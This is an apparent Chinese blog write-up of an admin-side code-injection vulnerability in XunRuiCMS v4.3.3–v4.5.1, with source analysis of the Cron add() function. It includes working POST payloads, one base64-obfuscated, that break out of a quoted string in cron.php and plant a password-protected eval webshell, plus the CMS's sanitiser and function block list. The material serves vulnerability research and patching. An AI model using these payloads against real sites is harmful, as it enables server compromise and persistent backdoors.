Featured image of post 迅睿CMS v4.3.3到v4.5.1后台任意代码注入漏洞(文件写入加文件包含)

迅睿CMS v4.3.3到v4.5.1后台任意代码注入漏洞(文件写入加文件包含)

迅睿CMS v4.3.3到v4.5.1

触发条件

两个条件:

1.迅睿CMS 版本为v4.3.3到v4.5.1

2.登录后台,且为管理员或具有"应用"->“任务队列"的管理权限

环境搭建

1.安装并配置好php与web中间件,注意该cms的低版本需要php的低版本

2.clone该cms的官方开源地址https://gitee.com/dayrui/xunruicms

3.通过搜索commit信息里的版本号,回退到指定的版本

在PhpStorm里,右键指定的commit版本,选择"Reset Current Branch to Here”

选择"Hard",点击"Reset"

4.访问,安装,登陆后台

后台地址:/admin.php

漏洞描述

Admin控制器文件夹下Cron.php控制器的add()函数对于用户的输入没有进行专门的过滤,致使攻击者在具备管理员权限或具有"应用"->“任务队列"的管理权限时可以对WRITEPATH.'config/cron.php'文件写入任意内容,同时该文件有多处被包含且可以被利用的点,正常情况下具有上述的触发条件即可稳定触发该漏洞

漏洞原理

在版本v4.3.3之前

在版本v4.3.3之前,cron.php下并未有add()函数

在版本v4.3.3到v4.5.0下

1.该cms在具备上述权限的情况下,可以通过http://host:port/Admin.php?c=Cron&m=add调用Admin控制器文件夹下Cron.php控制器的add()函数

2.add()函数的代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// 任务类型
public function add() {

    $json = '';
    if (is_file(WRITEPATH.'config/cron.php')) {
        require WRITEPATH.'config/cron.php';
    }

    $data = json_decode($json, true);

    if (IS_AJAX_POST) {

        $post = \Phpcmf\Service::L('input')->post('data', true);

        file_put_contents(WRITEPATH.'config/cron.php',
            '<?php defined(\'FCPATH\') OR exit(\'No direct script access allowed\');'.PHP_EOL.' $json=\''.json_encode($post).'\';');

        \Phpcmf\Service::L('input')->system_log('设置自定义任务类型');

        $this->_json(1, dr_lang('操作成功'));
    }

    \Phpcmf\Service::V()->assign([
        'data' => $data,
    ]);
    \Phpcmf\Service::V()->display('cron_add.html');
}

add()函数的分析

1
2
3
if (is_file(WRITEPATH.'config/cron.php')) {
    require WRITEPATH.'config/cron.php';
}

add()函数首先会在WRITEPATH.'config/cron.php'文件存在时包含该文件,WRITEPATH可在网站根目录的index.php里配置,默认情况下为网站根目录下的cache/

1
2
$json = '';
$data = json_decode($json, true);

然后add()函数通过json_decode($json, true)函数给$data赋值Null

1
if (IS_AJAX_POST){}

然后进入一个if分支语句,当IS_AJAX_POST时,则执行相关的写入文件的代码,否则则跳过写入文件,显示Cron的添加页面,随即结束add()函数,IS_AJAX_POST定义为当收到post请求且post的内容不为空时即返回TRUE,否则返回FALSE

1
$post = \Phpcmf\Service::L('input')->post('data', true);

if语句中,首先\Phpcmf\Service::L('input')->post('data', true)该代码通过调用Input.php文件里定义的Input类的post()函数,在接收到post请求且存在key为data时进行xss清洗然后返回,否则直接返回false,然后赋值给$post,xss清洗的代码比较长,我放在本文章的最后,此处的xss清洗可以轻易的绕过,从而达到写入我们想要的任意内容

1
2
file_put_contents(WRITEPATH.'config/cron.php',
            '<?php defined(\'FCPATH\') OR exit(\'No direct script access allowed\');'.PHP_EOL.' $json=\''.json_encode($post).'\';');

if语句中,接收完post请求,即将接收到的内容通过json编码后写入WRITEPATH.'config/cron.php'文件,可控的写入点位于字符串$json的赋值中,且在两个'的包裹中,此处是漏洞产生的主要原因,未对用户的输入做足够的判断或清洗即写入相应的文件

1
2
\Phpcmf\Service::L('input')->system_log('设置自定义任务类型');
$this->_json(1, dr_lang('操作成功'));

if语句的最后,写入日志并显示操作结果,随即显示cron添加界面,add()函数结束

绕过json编码和xss清洗以及WRITEPATH.'config/cron.php'文件中'的包裹

通过前文的分析,我们可以发现,add()函数对用户的输入基本没有特殊的防范,只要绕过xss清洗和json编码以及WRITEPATH.'config/cron.php'文件中'的包裹即可写入我们想要的任意内容

以下是我的一种方法,在WRITEPATH.'config/cron.php'文件中写入了当运行WRITEPATH.'config/cron.php'文件时在网站根目录写一个名为webshell.php,内容为<?php eval(@$_POST["password"]);?>的文件的php语句

注意下述操作需要先获取csrf_test_name,获取方法:

1.访问http://host:port/Admin.php?c=Cron&m=add

2.抓包当点击"保存"时发送的post包

3.post的内容里的csrf_test_name即可一直用作一段时间内的csrf_test_name

获取到csrf_test_name之后,给http://host:port/Admin.php?c=Cron&m=addpost以下内容:

1
isform=1&csrf_test_name=3318a4fabdf4ea654734315a4d508a5f&data%5B1%5D%5Bname%5D=&data%5B1%5D%5Bcode%5D=%5B';file_put_contents('webshell.php',htmlspecialchars_decode('<').'?php%20eval'.base64_decode('KA==').'@$_POST%5B'.base64_decode('Ig==').'password'.base64_decode('Ig==').'%5D'.base64_decode('KQ==').';?'.htmlspecialchars_decode('>'));return;'%5D

经过url解码后为:

1
isform=1&csrf_test_name=3318a4fabdf4ea654734315a4d508a5f&data[1][name]=&data[1][code]=[';file_put_contents('webshell.php',htmlspecialchars_decode('&lt;').'?php eval'.base64_decode('KA==').'@$_POST['.base64_decode('Ig==').'password'.base64_decode('Ig==').']'.base64_decode('KQ==').';?'.htmlspecialchars_decode('&gt;'));return;']

绕过json编码和xss清洗后,写入WRITEPATH.'config/cron.php'文件中的内容为:

1
2
<?php defined('FCPATH') OR exit('No direct script access allowed');
 $json='{"1":{"name":"","code":"[';file_put_contents('webshell.php',htmlspecialchars_decode('&lt;').'?php eval'.base64_decode('KA==').'@$_POST['.base64_decode('Ig==').'password'.base64_decode('Ig==').']'.base64_decode('KQ==').';?'.htmlspecialchars_decode('>'));return;']"}}';

此post内容中的关键处为

1
[';file_put_contents('webshell.php',htmlspecialchars_decode('&lt;').'?php eval'.base64_decode('KA==').'@$_POST['.base64_decode('Ig==').'password'.base64_decode('Ig==').']'.base64_decode('KQ==').';?'.htmlspecialchars_decode('&gt;'));return;']

绕过json编码和xss清洗后,此处的内容变为:

1
[';file_put_contents('webshell.php',htmlspecialchars_decode('&lt;').'?php eval'.base64_decode('KA==').'@$_POST['.base64_decode('Ig==').'password'.base64_decode('Ig==').']'.base64_decode('KQ==').';?'.htmlspecialchars_decode('>'));return;']

闭合了WRITEPATH.'config/cron.php'文件中'的包裹

包含写入的WRITEPATH.'config/cron.php'文件

通过前面对add()函数的分析,调用add()函数时会首先在WRITEPATH.'config/cron.php'文件存在时包含WRITEPATH.'config/cron.php'文件,因此直接访问http://host:port/Admin.php?c=Cron&m=add即可

访问http://host:port/Admin.php?c=Cron&m=add后,在网站根目录下会生成一个名为webshell.php的文件,文件内容为<?php eval(@$_POST["password"]);?>

版本v4.5.1

add()函数的代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// 任务类型
public function add() {

    $json = '';
    if (is_file(WRITEPATH.'config/cron.php')) {
        require WRITEPATH.'config/cron.php';
    }
    $data = json_decode($json, true);

    if (IS_AJAX_POST) {

        $post = \Phpcmf\Service::L('input')->post('data');
        if ($post && is_array($post)) {
            foreach ($post as $key => $t) {
                if (!$t || !$t['name']) {
                    unset($post[$key]);
                }
                $post[$key]['name'] = dr_safe_filename($t['name']);
                $post[$key]['code'] = dr_safe_filename($t['code']);
            }
        } else {
            $post = [];
        }

        file_put_contents(WRITEPATH.'config/cron.php',
            '<?php defined(\'FCPATH\') OR exit(\'No direct script access allowed\');'.PHP_EOL.' $json=\''.json_encode($post).'\';');

        \Phpcmf\Service::L('input')->system_log('设置自定义任务类型');

        $this->_json(1, dr_lang('操作成功'));
    }

    \Phpcmf\Service::V()->assign([
        'data' => $data,
    ]);
    \Phpcmf\Service::V()->display('cron_add.html');
}

版本v4.5.1相较之前的版本,在获取post的内容时,修改了如下的代码:

1
$post = \Phpcmf\Service::L('input')->post('data',true);

改为

1
$post = \Phpcmf\Service::L('input')->post('data');

post()函数的第二个参数为是否进行xss清洗,因为post()函数第二个参数的默认值为true,所以这处改动理论上不造成任何影响

同时,在获取post的内容后,进行WRITEPATH.'config/cron.php'文件的写入前,增加了如下的代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
if ($post && is_array($post)) {
    foreach ($post as $key => $t) {
        if (!$t || !$t['name']) {
            unset($post[$key]);
        }
        $post[$key]['name'] = dr_safe_filename($t['name']);
        $post[$key]['code'] = dr_safe_filename($t['code']);
    }
} else {
    $post = [];
}

上述代码先判断post的内容是否存在且为数组,不符合则将post的内容置为空数组,满足则遍历post的内容,如果post的内容里某个键值对的value不存在或某个键值对的value的'name'key的value不存在,则销毁该键值对,然后将每个键值对的value的'name'key和'code'key通过dr_safe_filename()函数清洗,以下为dr_safe_filename()函数的代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
/**
 * 安全过滤文件及目录名称函数
 */
function dr_safe_filename($string) {
    return str_replace(
        ['..', "/", '\\', ' ', '<', '>', "{", '}', ';', ':', '[', ']', '\'', '"', '*', '?'],
        '',
        (string)$string
    );
}

绕过json编码,xss清洗,dr_safe_filename()函数的过滤和WRITEPATH.‘config/cron.php’文件中’的包裹

此处我们先不尝试绕过dr_safe_filename()函数,而是尝试另一个极其简单的方法

通过对xss清洗函数的审计和版本v4.5.1add()函数新增加的代码的审计,可以发现对于数组的key没有任何过滤,包括多维数组的每一维度的key,所以此处可以通过修改post的内容中的key来写入我们想要的任意内容

以下是我的一种方法,整个漏洞利用过程中,除了上述所述的关于add()函数中增加的对键值对的value的过滤,其他流程相较于之前的版本没有任何变化:

获取到csrf_test_name之后,给http://host:port/Admin.php?c=Cron&m=addpost以下内容:

1
isform=1&csrf_test_name=9f3342fbce7b49c85f05776bf89db778&data%5B1%5D%5Bname%5D=1&data%5B1%5D%5Bcode":"1"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;'%5D=1

经过url解码后为:

1
isform=1&csrf_test_name=9f3342fbce7b49c85f05776bf89db778&data[1][name]=1&data[1][code":"1"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;']=1

绕过json编码和xss清洗以及dr_safe_filename()函数的过滤后,写入WRITEPATH.'config/cron.php'文件中的内容为:

1
2
<?php defined('FCPATH') OR exit('No direct script access allowed');
 $json='{"1":{"name":"1","code\":\"1\"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw\/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;'":"1","code":""}}';

此post内容中的关键处为

1
":"1"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;'

绕过json编码和xss清洗以及dr_safe_filename()函数的过滤后,此处的内容变为:

1
\":\"1\"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw\/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;'

闭合了WRITEPATH.'config/cron.php'文件中'的包裹

包含写入的WRITEPATH.'config/cron.php'文件

通过前面对add()函数的分析,调用add()函数时会首先在WRITEPATH.'config/cron.php'文件存在时包含WRITEPATH.'config/cron.php'文件,因此直接访问http://host:port/Admin.php?c=Cron&m=add即可

访问http://host:port/Admin.php?c=Cron&m=add后,在网站根目录下会生成一个名为webshell.php的文件,文件内容为<?php eval(@$_POST["password"]);?>

在版本v4.5.1之后

add()函数被删除

POC && EXP

很简单,我就不写了,不过注意目标站点的cms可能有坑,比如版本号低但实际的站点文件已经更新过了

POC

登录后台,获取版本号,然后验证一下是否为管理员或具有"应用”->“任务队列"的管理权限即可

EXP

登录后台,然后post写入恶意代码,最后get访问包含恶意文件即可

xss_clean()函数

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
<?php namespace Phpcmf\Library;
/**
 * {{www.xunruicms.com}}
 * {{迅睿内容管理框架系统}}
 * 本文件是框架系统文件,二次开发时不可以修改本文件,可以通过继承类方法来重写此文件
 **/

/**
 * 安全过滤
 */
class Security {

	/**
	 * List of sanitize filename strings
	 *
	 * @var	array
	 */
	public $filename_bad_chars = [
		'../', '<!--', '-->', '<', '>',
		"'", '"', '&', '$', '#',
		'{', '}', '[', ']', '=',
		';', '?', '%20', '%22',
		'%3c',		// <
		'%253c',	// <
		'%3e',		// >
		'%0e',		// >
		'%28',		// (
		'%29',		// )
		'%2528',	// (
		'%26',		// &
		'%24',		// $
		'%3f',		// ?
		'%3b',		// ;
		'%3d'		// =
    ];

    protected $naughty_tags  = [];

    protected $evil_attributes = [];

	/**
	 * Character set
	 *
	 * Will be overridden by the constructor.
	 *
	 * @var	string
	 */
	public $charset = 'UTF-8';

	/**
	 * XSS Hash
	 *
	 * Random Hash for protecting URLs.
	 *
	 * @var	string
	 */
	protected $_xss_hash;

	/**
	 * List of never allowed strings
	 *
	 * @var	array
	 */
	protected $_never_allowed_str =	[
		'document.cookie' => '[xss_clean]',
		'(document).cookie' => '[xss_clean]',
		'document.write'  => '[xss_clean]',
		'(document).write'  => '[xss_clean]',
		'.parentNode'     => '[xss_clean]',
		'.innerHTML'      => '[xss_clean]',
		'-moz-binding'    => '[xss_clean]',
		'<!--'            => '&lt;!--',
		'-->'             => '--&gt;',
		'<![CDATA['       => '&lt;![CDATA[',
		'<comment>'	  => '&lt;comment&gt;',
		'<%'              => '&lt;&#37;'
    ];

	// 替换前的处理
	protected $_never_call_str = [
        '&quot;javascript:'    => '&quot;javascript_xunruicms:',
    ];

	/**
	 * List of never allowed regex replacements
	 *
	 * @var	array
	 */
	protected $_never_allowed_regex = [
		'javascript\s*:',
		'(\(?document\)?|\(?window\)?(\.document)?)\.(location|on\w*)',
		'expression\s*(\(|&\#40;)', // CSS and IE
		'vbscript\s*:', // IE, surprise!
		'wscript\s*:', // IE
		'jscript\s*:', // IE
		'vbs\s*:', // IE
		'Redirect\s+30\d',
		"([\"'])+data\s*:[^\\1]*?base64[^\\1]*?,[^\\1]*?\\1?"
    ];



	// --------------------------------------------------------------------

	/**
	 * XSS Clean
	 *
	 * Sanitizes data so that Cross Site Scripting Hacks can be
	 * prevented.  This method does a fair amount of work but
	 * it is extremely thorough, designed to prevent even the
	 * most obscure XSS attempts.  Nothing is ever 100% foolproof,
	 * of course, but I haven't been able to get anything passed
	 * the filter.
	 *
	 * Note: Should only be used to deal with data upon submission.
	 *	 It's not something that should be used for general
	 *	 runtime processing.
	 *
	 * @link	http://channel.bitflux.ch/wiki/XSS_Prevention
	 * 		Based in part on some code and ideas from Bitflux.
	 *
	 * @link	http://ha.ckers.org/xss.html
	 * 		To help develop this script I used this great list of
	 *		vulnerabilities along with a few other hacks I've
	 *		harvested from examining vulnerabilities in other programs.
	 *
	 * @param	string|string[]	$str		Input data
	 * @param 	bool		$is_image	    严格的过滤
	 * @return	string
	 */
	public function xss_clean($str, $is_image = FALSE)
	{

		if (is_numeric($str)) {
			return $str;
		} elseif (!$str) {
	        return '';
        }

		// Is the string an array?
		if (is_array($str))
		{
			foreach ($str as $key => &$value)
			{
				$str[$key] = $this->xss_clean($value, $is_image);
			}

			return $str;
		}

        if (json_encode( $str) === false) {
            return '[xss_clean]'; // 判断含有乱码直接过滤为空
        }

        $this->naughty_tags = [
            'alert', 'area', 'prompt', 'confirm', 'applet', 'audio', 'basefont', 'base', 'behavior', 'bgsound',
            'blink', 'body',  'expression', 'form', 'frameset', 'frame', 'head', 'html', 'ilayer',
            'input', 'button', 'select', 'isindex', 'layer', 'link', 'meta', 'keygen', 'object',
            'plaintext', 'script', 'textarea', 'title', 'math',  'svg', 'xml', 'xss',
            //'iframe', 'video', 'embed', 'style'  //排除过滤

        ];
        $this->evil_attributes = [
            'on\w+', 'xmlns', 'formaction', 'form', 'xlink:href', 'FSCommand', 'seekSegmentTime'
            //  ,'style' 排除过滤

        ];

        if ($is_image) {
            // 严格的过滤
            $this->naughty_tags = array_merge($this->naughty_tags, array('iframe', 'video', 'embed', 'style'));
            $this->evil_attributes = array_merge($this->evil_attributes, array('style'));
            /*
             * URL Decode
             *
             * Just in case stuff like this is submitted:
             *
             * <a href="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">Google</a>
             *
             * Note: Use rawurldecode() so it does not remove plus signs
             * */

            if (stripos($str, '%') !== false)
            {
                do
                {
                    $oldstr = $str;
                    $str = rawurldecode($str);
                    $str = preg_replace_callback('#%(?:\s*[0-9a-f]){2,}#i', [$this, '_urldecodespaces'], $str);
                }
                while ($oldstr !== $str);
                unset($oldstr);
            }

            /*
             * Convert character entities to ASCII
             *
             * This permits our tests below to work reliably.
             * We only convert entities that are within tags since
             * these are the ones that will pose security problems.
             */

            // 不进行二次编码的xss过滤
            $str = preg_replace_callback("/[^a-z0-9>]+[a-z0-9]+=([\'\"]).*?\\1/si", array($this, '_convert_attribute'), $str);
            $str = preg_replace_callback('/<\w+.*/si', array($this, '_decode_entity'), $str);
        }


		// Remove Invisible Characters Again!
		$str = remove_invisible_characters($str);

		/*
		 * Convert all tabs to spaces
		 *
		 * This prevents strings like this: ja	vascript
		 * NOTE: we deal with spaces between characters later.
		 * NOTE: preg_replace was found to be amazingly slow here on
		 * large blocks of data, so we use str_replace.
		 */
		$str = str_replace("\t", ' ', $str);

		// Capture converted string for later comparison
		$converted_string = $str;

		// Remove Strings that are never allowed
		//$str = $this->_do_never_allowed($str);

		/*
		 * Makes PHP tags safe
		 *
		 * Note: XML tags are inadvertently replaced too:
		 *
		 * <?xml
		 *
		 * But it doesn't seem to pose a problem.
		 */
		if ($is_image)
		{
			// Images have a tendency to have the PHP short opening and
			// closing tags every so often so we skip those and only
			// do the long opening tags.
			$str = preg_replace('/<\?(php)/i', '&lt;?\\1', $str);
		}
		else
		{
			$str = str_replace(['<?', '?'.'>'], ['&lt;?', '?&gt;'], $str);
		}

		/*
		 * Compact any exploded words
		 *
		 * This corrects words like:  j a v a s c r i p t
		 * These words are compacted back to their correct state.
		 */
		$words = [
            'javascript', 'expression', 'vbscript', 'jscript', 'wscript',
            'vbs', 'script', 'base64', 'applet', 'alert', 'document',
            'write', 'cookie', 'window', 'confirm', 'prompt', 'eval'
        ];

		foreach ($words as $word)
		{
			$word = implode('\s*', str_split($word)).'\s*';

			// We only want to do this when it is followed by a non-word character
			// That way valid stuff like "dealer to" does not become "dealerto"
			$str = preg_replace_callback('#('.substr($word, 0, -3).')(\W)#is', array($this, '_compact_exploded_words'), $str);
		}

		/*
		 * Remove disallowed Javascript in links or img tags
		 * We used to do some version comparisons and use of stripos(),
		 * but it is dog slow compared to these simplified non-capturing
		 * preg_match(), especially if the pattern exists in the string
		 *
		 * Note: It was reported that not only space characters, but all in
		 * the following pattern can be parsed as separators between a tag name
		 * and its attributes: [\d\s"\'`;,\/\=\(\x00\x0B\x09\x0C]
		 * ... however, remove_invisible_characters() above already strips the
		 * hex-encoded ones, so we'll skip them below.
		 */
		do
		{
			$original = $str;

			if (preg_match('/<a/i', $str))
			{
				$str = preg_replace_callback('#<a(?:rea)?[^a-z0-9>]+([^>]*?)(?:>|$)#si', array($this, '_js_link_removal'), $str);
			}

			if (preg_match('/<img/i', $str))
			{
				$str = preg_replace_callback('#<img[^a-z0-9]+([^>]*?)(?:\s?/?>|$)#si', array($this, '_js_img_removal'), $str);
			}

			if (preg_match('/script|xss/i', $str))
			{
				$str = preg_replace('#</*(?:script|xss).*?>#si', '[xss_clean]', $str);
			}
		}
		while ($original !== $str);
		unset($original);

		/*
		 * Sanitize naughty HTML elements
		 *
		 * If a tag containing any of the words in the list
		 * below is found, the tag gets converted to entities.
		 *
		 * So this: <blink>
		 * Becomes: &lt;blink&gt;
		 */
		$pattern = '#'
			.'<((?<slash>/*\s*)((?<tagName>[a-z0-9]+)(?=[^a-z0-9]|$)|.+)' // tag start and name, followed by a non-tag character
			.'[^\s\042\047a-z0-9>/=]*' // a valid attribute character immediately after the tag would count as a separator
			// optional attributes
			.'(?<attributes>(?:[\s\042\047/=]*' // non-attribute characters, excluding > (tag close) for obvious reasons
			.'[^\s\042\047>/=]+' // attribute characters
			// optional attribute-value
				.'(?:\s*=' // attribute-value separator
					.'(?:[^\s\042\047=><`]+|\s*\042[^\042]*\042|\s*\047[^\047]*\047|\s*(?U:[^\s\042\047=><`]*))' // single, double or non-quoted value
				.')?' // end optional attribute-value group
			.')*)' // end optional attributes group
			.'[^>]*)(?<closeTag>\>)?#isS';

		// Note: It would be nice to optimize this for speed, BUT
		//       only matching the naughty elements here results in
		//       false positives and in turn - vulnerabilities!
		do
		{
			$old_str = $str;
			$str = preg_replace_callback($pattern, array($this, '_sanitize_naughty_html'), $str);
		}
		while ($old_str !== $str);
		unset($old_str);

		/*
		 * Sanitize naughty scripting elements
		 *
		 * Similar to above, only instead of looking for
		 * tags it looks for PHP and JavaScript commands
		 * that are disallowed. Rather than removing the
		 * code, it simply converts the parenthesis to entities
		 * rendering the code un-executable.
		 *
		 * For example:	eval('some code')
		 * Becomes:	eval&#40;'some code'&#41;
		 */
		$str = preg_replace(
			'#(alert|prompt|confirm|cmd|passthru|eval|exec|expression|system|fopen|fsockopen|file|file_get_contents|readfile|unlink)(\s*)\((.*?)\)#si',
			'\\1\\2&#40;\\3&#41;',
			$str
		);

		// Same thing, but for "tag functions" (e.g. eval`some code`)
		// See https://github.com/bcit-ci/CodeIgniter/issues/5420
		$str = preg_replace(
			'#(alert|prompt|confirm|cmd|passthru|eval|exec|expression|system|fopen|fsockopen|file|file_get_contents|readfile|unlink)(\s*)`(.*?)`#si',
			'\\1\\2&#96;\\3&#96;',
			$str
		);

		//最终清理
        //
        ////这增加了一点额外的预防措施
        //
        ////有东西通过了上面的过滤器
		$str = $this->_do_never_allowed($str);


        // now the only remaining whitespace attacks are \t, \n, and \r
        $ra = ['onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload'];
        foreach ($ra as $t) {
            $str = str_replace(' '.$t.'="', ' '.$t.'=', $str);
        }

		return $str;
	}

	// --------------------------------------------------------------------

	/**
	 * Do Never Allowed
	 *
	 * @used-by	CI_Security::xss_clean()
	 * @param 	string
	 * @return 	string
	 */
	protected function _do_never_allowed($str)
	{

        $str = str_replace(array_keys($this->_never_call_str), $this->_never_call_str, $str);
		$str = str_replace(array_keys($this->_never_allowed_str), $this->_never_allowed_str, $str);

		foreach ($this->_never_allowed_regex as $regex)
		{
			$str = preg_replace('#'.$regex.'#is', '_\\0', $str);
		}

		$str = str_replace($this->_never_call_str, array_keys($this->_never_call_str), $str);

		return $str;
	}


}
2u94 4 4un
Built with Hugo
Theme Stack designed by Jimmy